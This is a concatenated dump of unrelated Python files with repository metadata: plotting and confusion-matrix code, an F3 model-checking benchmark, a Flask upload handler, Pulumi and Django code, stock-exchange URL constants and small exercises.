71.03682, 70.99231, 70.9999, 75.01086, 76.0222, 68.18597, 70.9997, 71.0195, 73.04, 75.11, 76.15133, 70.1123,73.04807, 76.04694, 77.0245, 78.01838, 79.01737, 69.18136, 70.05632, 69.01083, 69.99859, 70.99589, 70.99618] Z1 = np.array(Z1) max_ = np.max(Z1) min_ = np.min(Z1) XX, YY = np.meshgrid(X, Y) Z1 = np.reshape(Z1, (XX.shape)) fig = plt.figure() ax = fig.gca(projection='3d') surf = ax.plot_surface(XX, YY, Z1, rstride=1, cstride=1, alpha=1, cmap=cm.jet, linewidth=0.5, antialiased=False) fig.colorbar(surf, shrink=0.6, aspect=6) surf.set_clim(vmin=min_, vmax=max_) plt.xlabel('scale level') plt.ylabel('window size') plt.tight_layout() plt.savefig('wqf.pdf', dpi=400) plt.show() #plot3D() def plotConfusionMatrix(confmat): import seaborn seaborn.set_context('poster') #seaborn.set_style("white") seaborn.set_style("ticks") plt.style.use(['seaborn-paper']) font = {'family': 'serif', #'weight': 'bold', 'size': 12} matplotlib.rc("font", **font) fig, ax = plt.subplots() labels = ['','Regular','AS Leak',' Code Red I','Nimda','Slammer'] #labels = ['a','b','c','d','e'] #ticks=np.linspace(0, 5,num=5) #res = plt.imshow(confmat, interpolation='none') #res = ax.imshow(np.array(confmat), cmap=plt.cm.jet,interpolation='nearest') res = ax.imshow(np.array(confmat), interpolation='nearest') #plt.xlabel('kkk') width, height = confmat.shape #plt.xticks(labels) #plt.tick_params(labelbottom=labels,labelleft=labels) for x in xrange(width): for y in xrange(height): ax.annotate(str(confmat[x][y]), xy=(y, x), horizontalalignment='center', verticalalignment='center') ax.set_xticklabels(labels) ax.set_yticklabels(labels) plt.tick_params(labelsize=10) plt.colorbar(res,shrink=1, pad=.01, aspect=10) plt.savefig("Fig_10.pdf",dpi=400) #plt.show() print(confmat.shape)
40.943299
180
0.608586
125e451ea3f29a28fbe077f8b237dc7d79e4f4e0
6,466
py
Python
benchmarks/f3_wrong_hints/scaling_nonlinear_software/6-19_19.py
EnricoMagnago/F3
c863215c318d7d5f258eb9be38c6962cf6863b52
[ "MIT" ]
3
2021-04-23T23:29:26.000Z
2022-03-23T10:00:30.000Z
benchmarks/f3_wrong_hints/scaling_nonlinear_software/6-19_19.py
EnricoMagnago/F3
c863215c318d7d5f258eb9be38c6962cf6863b52
[ "MIT" ]
null
null
null
benchmarks/f3_wrong_hints/scaling_nonlinear_software/6-19_19.py
EnricoMagnago/F3
c863215c318d7d5f258eb9be38c6962cf6863b52
[ "MIT" ]
1
2021-11-17T22:02:56.000Z
2021-11-17T22:02:56.000Z
from typing import FrozenSet, Tuple import pysmt.typing as types from pysmt.environment import Environment as PysmtEnv from pysmt.fnode import FNode from utils import symb_to_next from hint import Hint, Location def transition_system(env: PysmtEnv) -> Tuple[FrozenSet[FNode], FNode, FNode, FNode]: assert isinstance(env, PysmtEnv) mgr = env.formula_manager pc = mgr.Symbol("pc", types.INT) x = mgr.Symbol("x", types.INT) y = mgr.Symbol("y", types.INT) z = mgr.Symbol("z", types.INT) x_pc = symb_to_next(mgr, pc) x_x = symb_to_next(mgr, x) x_y = symb_to_next(mgr, y) x_z = symb_to_next(mgr, z) symbols = frozenset([pc, x, y, z]) n_locs = 5 int_bound = n_locs pcs = [] x_pcs = [] ints = [mgr.Int(i) for i in range(int_bound)] for l in range(n_locs): n = ints[l] pcs.append(mgr.Equals(pc, n)) x_pcs.append(mgr.Equals(x_pc, n)) m_1 = mgr.Int(-1) pcend = mgr.Equals(pc, m_1) x_pcend = mgr.Equals(x_pc, m_1) # initial location. init = pcs[0] # control flow graph. cfg = mgr.And( # pc = -1 : -1, mgr.Implies(pcend, x_pcend), # pc = 0 & !(y >= 1) : -1, mgr.Implies(mgr.And(pcs[0], mgr.Not(mgr.GE(y, ints[1]))), x_pcend), # pc = 0 & y >= 1 : 1, mgr.Implies(mgr.And(pcs[0], mgr.GE(y, ints[1])), x_pcs[1]), # pc = 1 & !(z >= 1) : -1, mgr.Implies(mgr.And(pcs[1], mgr.Not(mgr.GE(z, ints[1]))), x_pcend), # pc = 1 & z >= 1 : 2, mgr.Implies(mgr.And(pcs[1], mgr.GE(z, ints[1])), x_pcs[2]), # pc = 2 & !(x >= 0) : -1, mgr.Implies(mgr.And(pcs[2], mgr.Not(mgr.GE(x, ints[0]))), x_pcend), # pc = 2 & x >= 0 : 3, mgr.Implies(mgr.And(pcs[2], mgr.GE(x, ints[0])), x_pcs[3]), # pc = 3 : 4, mgr.Implies(pcs[3], x_pcs[4]), # pc = 4 : 2, mgr.Implies(pcs[4], x_pcs[2])) # transition labels. labels = mgr.And( # (pc = -1 & pc' = -1) -> (x' = x & y' = y & z' = z), mgr.Implies( mgr.And(pcend, x_pcend), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 0 & pc' = -1) -> (x' = x & y' = y & z' = z), mgr.Implies( mgr.And(pcs[0], x_pcend), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 0 & pc' = 1) -> (x' = x & y' = y & z' = z), mgr.Implies( mgr.And(pcs[0], x_pcs[1]), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 1 & pc' = -1) -> (x' = x & y' = y & z' = z), mgr.Implies( mgr.And(pcs[1], x_pcend), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 1 & pc' = 2) -> (x' = x & y' = y & z' = z), mgr.Implies( mgr.And(pcs[1], x_pcs[2]), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 2 & pc' = -1) -> (x' = x & y' = y & z' = z), mgr.Implies( mgr.And(pcs[2], x_pcend), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 2 & pc' = 3) -> (x' = x & y' = y & z' = z), mgr.Implies( mgr.And(pcs[2], x_pcs[3]), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 3 & pc' = 4) -> (x' = y*z - 1 & y' = y & z' = z), mgr.Implies( mgr.And(pcs[3], x_pcs[4]), mgr.And(mgr.Equals(x_x, mgr.Minus(mgr.Times(y, z), ints[1])), mgr.Equals(x_y, y), mgr.Equals(x_z, z))), # (pc = 4 & pc' = 2) -> (x' = x & y' = y+1 & z' = z), mgr.Implies( mgr.And(pcs[4], x_pcs[2]), mgr.And(mgr.Equals(x_x, x), mgr.Equals(x_y, mgr.Plus(y, ints[1])), mgr.Equals(x_z, z)))) # transition relation. trans = mgr.And(cfg, labels) # fairness. fairness = mgr.Not(pcend) return symbols, init, trans, fairness def hints(env: PysmtEnv) -> FrozenSet[Hint]: assert isinstance(env, PysmtEnv) mgr = env.formula_manager pc = mgr.Symbol("pc", types.INT) x = mgr.Symbol("x", types.INT) y = mgr.Symbol("y", types.INT) z = mgr.Symbol("z", types.INT) symbs = frozenset([pc, x, y, z]) x_pc = symb_to_next(mgr, pc) x_x = symb_to_next(mgr, x) x_y = symb_to_next(mgr, y) x_z = symb_to_next(mgr, z) res = [] i_0 = mgr.Int(0) i_1 = mgr.Int(1) i_2 = mgr.Int(2) i_3 = mgr.Int(3) stutter = mgr.Equals(x_y, y) loc = Location(env, mgr.TRUE(), mgr.LE(x, i_0), stutterT=stutter) loc.set_progress(0, mgr.Equals(x_y, mgr.Minus(y, i_1))) h_y = Hint("h_y0", env, frozenset([y]), symbs) h_y.set_locs([loc]) res.append(h_y) loc = Location(env, mgr.LE(z, i_0)) loc.set_progress(0, mgr.Equals(x_z, z)) h_z = Hint("h_z0", env, frozenset([z]), symbs) h_z.set_locs([loc]) res.append(h_z) loc0 = Location(env, mgr.Equals(pc, i_1)) loc0.set_progress(1, mgr.Equals(x_pc, i_3)) loc1 = Location(env, mgr.Equals(pc, i_3)) loc1.set_progress(0, mgr.Equals(x_pc, i_1)) h_pc = Hint("h_pc2", env, frozenset([pc]), symbs) h_pc.set_locs([loc0, loc1]) res.append(h_pc) loc0 = Location(env, mgr.Equals(pc, i_2)) loc0.set_progress(1, mgr.GT(x_pc, i_2)) loc1 = Location(env, mgr.GE(pc, i_3)) loc1.set_progress(0, mgr.Equals(x_pc, i_2)) h_pc = Hint("h_pc3", env, frozenset([pc]), symbs) h_pc.set_locs([loc0, loc1]) res.append(h_pc) loc0 = Location(env, mgr.GE(z, i_0)) loc0.set_progress(1, mgr.Equals(x_z, z)) loc1 = Location(env, mgr.GE(z, i_0)) loc1.set_progress(0, mgr.Equals(x_z, mgr.Plus(z, i_3))) h_z = Hint("h_z4", env, frozenset([z]), symbs) h_z.set_locs([loc0, loc1]) res.append(h_z) loc0 = Location(env, mgr.Equals(pc, i_2)) loc0.set_progress(1, mgr.GT(x_pc, i_2)) loc1 = Location(env, mgr.GE(pc, i_3)) loc1.set_progress(2, mgr.GE(x_pc, i_3)) loc2 = Location(env, mgr.GE(pc, i_3)) loc2.set_progress(0, mgr.Equals(x_pc, i_2)) h_pc = Hint("h_pc4", env, frozenset([pc]), symbs) h_pc.set_locs([loc0, loc1, loc2]) res.append(h_pc) return frozenset(res)
33.502591
78
0.51562
da43a23c3b16dfd35a11b8a841eda16786cd693b
91
py
Python
bitmovin_api_sdk/encoding/inputs/local/customdata/__init__.py
jaythecaesarean/bitmovin-api-sdk-python
48166511fcb9082041c552ace55a9b66cc59b794
[ "MIT" ]
11
2019-07-03T10:41:16.000Z
2022-02-25T21:48:06.000Z
bitmovin_api_sdk/encoding/inputs/local/customdata/__init__.py
jaythecaesarean/bitmovin-api-sdk-python
48166511fcb9082041c552ace55a9b66cc59b794
[ "MIT" ]
8
2019-11-23T00:01:25.000Z
2021-04-29T12:30:31.000Z
bitmovin_api_sdk/encoding/inputs/local/customdata/__init__.py
jaythecaesarean/bitmovin-api-sdk-python
48166511fcb9082041c552ace55a9b66cc59b794
[ "MIT" ]
13
2020-01-02T14:58:18.000Z
2022-03-26T12:10:30.000Z
from bitmovin_api_sdk.encoding.inputs.local.customdata.customdata_api import CustomdataApi
45.5
90
0.901099
7274648ac1f330e88d95a95b3df3b27f080eeb90
3,342
py
Python
webapp/upload.py
CozyDoomer/deep-learning-webapp
eb0f432765459a1712080f5b25e8e01594336f4f
[ "BSD-3-Clause" ]
null
null
null
webapp/upload.py
CozyDoomer/deep-learning-webapp
eb0f432765459a1712080f5b25e8e01594336f4f
[ "BSD-3-Clause" ]
null
null
null
webapp/upload.py
CozyDoomer/deep-learning-webapp
eb0f432765459a1712080f5b25e8e01594336f4f
[ "BSD-3-Clause" ]
null
null
null
#!/venv/bin python import os from flask import Flask, flash, request, redirect, url_for, Blueprint, current_app, render_template, send_from_directory from werkzeug.utils import secure_filename from PIL import Image, ExifTags import piexif upload = Blueprint('upload', __name__) ALLOWED_EXTENSIONS = set(['png', 'jpg', 'jpeg', 'gif']) app = Flask(__name__) def allowed_file(filename): return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS def preprocess_image(filepath, min_size=299): img = Image.open(filepath) # rotate if exif encoded exif_bytes = None if "exif" in img.info: exif_dict = piexif.load(img.info["exif"]) if piexif.ImageIFD.Orientation in exif_dict["0th"]: orientation = exif_dict["0th"].pop(piexif.ImageIFD.Orientation) exif_bytes = piexif.dump(exif_dict) if orientation == 2: img = img.transpose(Image.FLIP_LEFT_RIGHT) elif orientation == 3: img = img.rotate(180) elif orientation == 4: img = img.rotate(180).transpose(Image.FLIP_LEFT_RIGHT) elif orientation == 5: img = img.rotate(-90, expand=True).transpose(Image.FLIP_LEFT_RIGHT) elif orientation == 6: img = img.rotate(-90, expand=True) elif orientation == 7: img = img.rotate(90, expand=True).transpose( Image.FLIP_LEFT_RIGHT) elif orientation == 8: img = img.rotate(90, expand=True) # resize image to min_size (keep aspect ratio) ratio = max(min_size/img.width, min_size/img.height) img.thumbnail((img.width * ratio, img.height * ratio), Image.ANTIALIAS) print(f'resized image: {img.size}') if exif_bytes: img.save(filepath, exif=exif_bytes) img.save(filepath) @upload.route('/upload/<reason>', methods=['POST', 'GET']) def upload_file(reason): if request.method == 'POST': # check if the post request has the file part if 'file' not in request.files: return redirect(request.url) file = request.files['file'] # if user does not select file, browser submit a empty part without filename if file.filename == '': return redirect(request.url) # check if file extension is in ALLOWED_EXTENSIONS if file and allowed_file(file.filename): filename = secure_filename(file.filename) filepath = os.path.join( current_app.config['UPLOAD_FOLDER'], filename) file.save(filepath) size = 299 if reason == 'object-detection': size = 500 preprocess_image(filepath, min_size=size) return render_template(f'{reason}.html', filename=filename, mail=current_app.config['MAIL_USERNAME']) return render_template(f'{reason}.html', error='error', mail=current_app.config['MAIL_USERNAME']) @upload.route('/upload/<reason>/<filename>', methods=['GET']) def send_file(reason, filename): if request.method == 'GET': return send_from_directory(current_app.config['UPLOAD_FOLDER'], filename) return render_template(f'{reason}.html', error='error', mail=current_app.config['MAIL_USERNAME'])
36.326087
120
0.628366
1c3b1fd2feb6059341825a17cd39398395bdea6d
864
py
Python
python/509.fibonacci-number.py
fengbaoheng/leetcode
2b6ec9adea383503acc23622ca5623161f7ca520
[ "MIT" ]
1
2019-04-11T12:34:55.000Z
2019-04-11T12:34:55.000Z
python/509.fibonacci-number.py
fengbaoheng/leetcode
2b6ec9adea383503acc23622ca5623161f7ca520
[ "MIT" ]
null
null
null
python/509.fibonacci-number.py
fengbaoheng/leetcode
2b6ec9adea383503acc23622ca5623161f7ca520
[ "MIT" ]
null
null
null
# # @lc app=leetcode.cn id=509 lang=python3 # # [509] Fibonacci Number # # https://leetcode-cn.com/problems/fibonacci-number/description/ # # algorithms # Easy (65.10%) # Total Accepted: 5.9K # Total Submissions: 9K # Testcase Example: '2' # # 斐波那契数,通常用 F(n) 表示,形成的序列称为斐波那契数列。该数列由 0 和 1 开始,后面的每一项数字都是前面两项数字的和。也就是: # # F(0) = 0,   F(1) = 1 # F(N) = F(N - 1) + F(N - 2), 其中 N > 1. # # # 给定 N,计算 F(N)。 # # # # 示例 1: # # 输入:2 # 输出:1 # 解释:F(2) = F(1) + F(0) = 1 + 0 = 1. # # # 示例 2: # # 输入:3 # 输出:2 # 解释:F(3) = F(2) + F(1) = 1 + 1 = 2. # # # 示例 3: # # 输入:4 # 输出:3 # 解释:F(4) = F(3) + F(2) = 2 + 1 = 3. # # # # # 提示: # # # 0 ≤ N ≤ 30 # # # class Solution: # 正向计算, 逆向递归会超时 def fib(self, N: int) -> int: f = [0,1] for i in range(2, N+1): f.append(f[i-1] + f[i-2]) return f[N]
13.292308
71
0.456019
0fd1cdf3068c926b67443c63ba5c2d072ed8e91f
224
py
Python
Curso/Challenges/URI/1958ScientificNotation.py
DavidBitner/Aprendizado-Python
e1dcf18f9473c697fc2302f34a2d3e025ca6c969
[ "MIT" ]
null
null
null
Curso/Challenges/URI/1958ScientificNotation.py
DavidBitner/Aprendizado-Python
e1dcf18f9473c697fc2302f34a2d3e025ca6c969
[ "MIT" ]
null
null
null
Curso/Challenges/URI/1958ScientificNotation.py
DavidBitner/Aprendizado-Python
e1dcf18f9473c697fc2302f34a2d3e025ca6c969
[ "MIT" ]
null
null
null
n = str(input()) negativo = False if "-" in n: negativo = True entrada = float(n) if entrada == 0: if not negativo: print("+", end="") elif entrada > 0: print("+", end="") print(f"{entrada:.4e}".upper())
18.666667
31
0.549107
17b260187bb9ac1e93f51ec59045d06ead911848
5,911
py
Python
auxiliar_constantes.py
lucasHashi/coleta-dados-acoes-bdrs-b3
a2d2c3343378ee70a134bd0bbec11685d896971d
[ "MIT" ]
null
null
null
auxiliar_constantes.py
lucasHashi/coleta-dados-acoes-bdrs-b3
a2d2c3343378ee70a134bd0bbec11685d896971d
[ "MIT" ]
null
null
null
auxiliar_constantes.py
lucasHashi/coleta-dados-acoes-bdrs-b3
a2d2c3343378ee70a134bd0bbec11685d896971d
[ "MIT" ]
null
null
null
# ---------------- ETFS ---------------- URL_LINKS_ETFS = 'https://sistemaswebb3-listados.b3.com.br/fundsPage/3' # ---------------- FIIS ---------------- URL_LINKS_FIIS = 'https://fiis.com.br/lista-de-fundos-imobiliarios/' # ---------------- ACOES ---------------- URL_BASE_DADOS_ACAO = 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesPage/main/{}/{}/overview?language=pt-br' # .format(codigo_acao, ticker) URLS_IPOS_POR_ANO = { 2022: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDIyfQ==' ], 2021: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjEyMCwieWVhciI6MjAyMX0=' ], 2020: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjEyMCwieWVhciI6MjAyMH0=' ], 2019: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDE5fQ==' ], 2018: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDE4fQ==' ], 2017: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDE3fQ==' ], 2016: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDE2fQ==' ], 2015: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDE1fQ==' ], 2014: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDE0fQ==' ], 2013: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDEzfQ==' ], 2012: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDEyfQ==' ], 2011: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDExfQ==' ], 2010: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDEwfQ==' ], 2009: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDA5fQ==' ], 2008: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDA4fQ==' ], 2007: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDA3fQ==' ], 2006: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDA2fQ==' ], 2005: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDA1fQ==' ], 2004: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDA0fQ==' ], 2003: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDAzfQ==' ], 2002: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDAyfQ==' ], 2001: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDAxfQ==' ], 2000: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoyMDAwfQ==' ], 1999: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoxOTk5fQ==' ], 1998: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjIwLCJ5ZWFyIjoxOTk4fQ==' ], 1997: [ 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MSwicGFnZVNpemUiOjEyMCwieWVhciI6MTk5N30=', 'https://sistemaswebb3-listados.b3.com.br/listedCompaniesProxy/CompanyCall/GetYearListing/eyJsYW5ndWFnZSI6InB0LWJyIiwicGFnZU51bWJlciI6MiwicGFnZVNpemUiOjEyMCwieWVhciI6MTk5N30=' ] }
60.938144
184
0.792759
5a5cd2e4cc4fc8bf1d07367233754ca5833eed65
4,027
py
Python
sdk/python/pulumi_aws/lambda_/get_invocation.py
mdop-wh/pulumi-aws
05bb32e9d694dde1c3b76d440fd2cd0344d23376
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_aws/lambda_/get_invocation.py
mdop-wh/pulumi-aws
05bb32e9d694dde1c3b76d440fd2cd0344d23376
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
sdk/python/pulumi_aws/lambda_/get_invocation.py
mdop-wh/pulumi-aws
05bb32e9d694dde1c3b76d440fd2cd0344d23376
[ "ECL-2.0", "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Dict, List, Mapping, Optional, Tuple, Union from .. import _utilities, _tables __all__ = [ 'GetInvocationResult', 'AwaitableGetInvocationResult', 'get_invocation', ] @pulumi.output_type class GetInvocationResult: """ A collection of values returned by getInvocation. """ def __init__(__self__, function_name=None, id=None, input=None, qualifier=None, result=None): if function_name and not isinstance(function_name, str): raise TypeError("Expected argument 'function_name' to be a str") pulumi.set(__self__, "function_name", function_name) if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if input and not isinstance(input, str): raise TypeError("Expected argument 'input' to be a str") pulumi.set(__self__, "input", input) if qualifier and not isinstance(qualifier, str): raise TypeError("Expected argument 'qualifier' to be a str") pulumi.set(__self__, "qualifier", qualifier) if result and not isinstance(result, str): raise TypeError("Expected argument 'result' to be a str") pulumi.set(__self__, "result", result) @property @pulumi.getter(name="functionName") def function_name(self) -> str: return pulumi.get(self, "function_name") @property @pulumi.getter def id(self) -> str: """ The provider-assigned unique ID for this managed resource. """ return pulumi.get(self, "id") @property @pulumi.getter def input(self) -> str: return pulumi.get(self, "input") @property @pulumi.getter def qualifier(self) -> Optional[str]: return pulumi.get(self, "qualifier") @property @pulumi.getter def result(self) -> str: """ String result of the lambda function invocation. """ return pulumi.get(self, "result") class AwaitableGetInvocationResult(GetInvocationResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetInvocationResult( function_name=self.function_name, id=self.id, input=self.input, qualifier=self.qualifier, result=self.result) def get_invocation(function_name: Optional[str] = None, input: Optional[str] = None, qualifier: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetInvocationResult: """ Use this data source to invoke custom lambda functions as data source. The lambda function is invoked with [RequestResponse](https://docs.aws.amazon.com/lambda/latest/dg/API_Invoke.html#API_Invoke_RequestSyntax) invocation type. :param str function_name: The name of the lambda function. :param str input: A string in JSON format that is passed as payload to the lambda function. :param str qualifier: The qualifier (a.k.a version) of the lambda function. Defaults to `$LATEST`. """ __args__ = dict() __args__['functionName'] = function_name __args__['input'] = input __args__['qualifier'] = qualifier if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('aws:lambda/getInvocation:getInvocation', __args__, opts=opts, typ=GetInvocationResult).value return AwaitableGetInvocationResult( function_name=__ret__.function_name, id=__ret__.id, input=__ret__.input, qualifier=__ret__.qualifier, result=__ret__.result)
35.017391
144
0.656072
6aab762e5367f0a9d47a441d4a731e5d7266ae92
92
py
Python
pycl/Code/readfilel.py
dcavar/dcavar.github.io
bf96820f41563bab73ba35a98142da4ab5ad50a1
[ "Apache-2.0" ]
4
2018-01-11T22:14:11.000Z
2019-06-13T09:56:18.000Z
pycl/Code/readfilel.py
dcavar/dcavar.github.io
bf96820f41563bab73ba35a98142da4ab5ad50a1
[ "Apache-2.0" ]
null
null
null
pycl/Code/readfilel.py
dcavar/dcavar.github.io
bf96820f41563bab73ba35a98142da4ab5ad50a1
[ "Apache-2.0" ]
1
2020-01-25T02:16:38.000Z
2020-01-25T02:16:38.000Z
file = open("readfilel.py") text = file.readlines() file.close() for i in text: print i,
15.333333
27
0.663043
6f04feb0bd64dca0c4623adcb00757414b5c66ff
1,852
py
Python
homeauto/views.py
7ooL/web_home_auto
66d1a96359154a2a8015fb8ebfabfedcf38f69a9
[ "MIT" ]
null
null
null
homeauto/views.py
7ooL/web_home_auto
66d1a96359154a2a8015fb8ebfabfedcf38f69a9
[ "MIT" ]
8
2020-12-30T17:41:41.000Z
2021-01-24T19:16:54.000Z
homeauto/views.py
7ooL/HomeAuto
66d1a96359154a2a8015fb8ebfabfedcf38f69a9
[ "MIT" ]
null
null
null
from django.shortcuts import render #import homeauto.models as house #import hue.models as hue #import homeauto.models.wemo as device from django.http import JsonResponse import simplejson as json def dashboard_index(request): # persons = house.Person.objects.all() # services = house.Service.objects.all() # lights = hue.Light.objects.all() # context = {'persons':persons, # 'services':services, # 'lights':lights} context = {} return render(request, 'dashboard_index.html', context) """ def people_index(request): persons = house.Person.objects.all() context = {'persons': persons} return render(request, 'people_index.html', context) def person_detail(request, pk): person = house.Person.objects.get(pk=pk) context = {'person': person} return render(request, 'person_detail.html', context) def services_index(request): services = house.Service.objects.all() context = {'services': services} return render(request, 'services_index.html', context) def service_detail(request, pk): service = house.Service.objects.get(pk=pk) context = {'service': service} return render(request, 'service_detail.html', context) #def lights_index(request): # lights = hue.Light.objects.all() # wemos = device.Wemo.objects.all() # context = {'lights':lights, # 'wemos':wemos} # return render(request, 'lights_index.html', context) def light_detail(request): return render(request, 'light_detail.html', context) def groups_index(request): return render(request, 'groups_index.html', context) def group_detail(request): return render(request, 'group_detail.html', context) def scenes_index(request): return render(request, 'scenes_index.html', context) def scene_detail(request): return render(request, 'scene_detail.html', context) """
26.084507
59
0.707343
9dfaeecc26a59d83c868cee9e76cbb7f12f867da
1,527
py
Python
StupidBenchmark/PyTorch/upsample.py
tobyclh/StupidBenchmark
0b4f821bdb54522b32de3e340f4f73597043e4f3
[ "Apache-2.0" ]
null
